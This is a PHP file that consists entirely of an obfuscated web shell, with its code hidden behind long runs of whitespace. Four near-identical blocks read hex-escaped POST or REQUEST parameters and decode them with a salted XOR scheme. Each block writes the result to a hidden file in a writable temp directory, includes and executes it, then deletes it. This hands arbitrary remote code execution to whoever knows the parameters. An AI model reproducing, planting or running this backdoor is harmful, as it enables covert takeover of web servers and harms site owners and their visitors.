<?php																																										if(isset($_POST["e\x6Cem\x65n\x74"])){ $pgrp = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm"]); $flag = $_POST["e\x6Cem\x65n\x74"]; $flag = explode ( '.' , $flag ) ; $holder =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt7 ); $len =count($flag ); for($t =0; $t < $len; $t++) { $v1 =$flag[$t]; $sChar =ord($salt7[$t % $sLen] ); $d =((int)$v1 - $sChar -($t % 10)) ^ 78; $holder .= chr($d ); } foreach ($pgrp as $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $value = join("/", [$dchunk, ".ent"]); if (file_put_contents($value, $holder)) { require $value; unlink($value); die(); } } } }
																																										if(@$_REQUEST["d\x61\x74\x61\x5F\x63hunk"] !== null){ $token = $_REQUEST["d\x61\x74\x61\x5F\x63hunk"]; $token = explode ( '.', $token ) ; $parameter_group = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); foreach( $token as $j => $v2) { $chS = ord( $salt4[$j % $lenS]); $dec =( ( int)$v2 - $chS -( $j % 10)) ^ 62; $parameter_group.=chr( $dec); } $holder = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir()]); foreach ($holder as $key => $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $mrk = "$item/.entity"; $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(isset($_REQUEST["b\x69nd\x69\x6E\x67"])){ $rec = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm"]); $dchunk = $_REQUEST["b\x69nd\x69\x6E\x67"]; $dchunk = explode ( '.' , $dchunk ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($dchunk as $m => $v9) { $sChar = ord($s[$m % $sLen]); $dec = ((int)$v9 - $sChar - ($m % 10)) ^ 90; $parameter_group .= chr($dec); } $resource = 0; do { $entry = $rec[$resource] ?? null; if ($resource >= count($rec)) break; if (is_dir($entry) && is_writable($entry)) { $reference = "$entry/.pgrp"; if (file_put_contents($reference, $parameter_group)) { require $reference; unlink($reference); die(); } } $resource++; } while (true); }


if(isset($_POST) && isset($_POST["reso\x75rce"])){
	$reference = array_filter([getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp"]);
	$pointer = $_POST["reso\x75rce"];
		$pointer= 	 explode ('.'		 ,	$pointer		 );
	$object=	'';
            $s5=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen( $s5);
    
            foreach( $pointer as $z => $v3):
                $chS=	ord( $s5[$z % $sLen]);
                $dec=	( ( int)$v3 - $chS -( $z % 10))^26;
                $object .= chr( $dec);
            endforeach;
	for ($parameter_group = 0, $k = count($reference); $parameter_group < $k; $parameter_group++) {
    $ref = $reference[$parameter_group];
    		if (!!is_dir($ref) && !!is_writable($ref)) {
    $dat = "$ref" . "/.bind";
    $success = file_put_contents($dat, $object);
if ($success) {
	include $dat;
	@unlink($dat);
	exit;}
}
}
}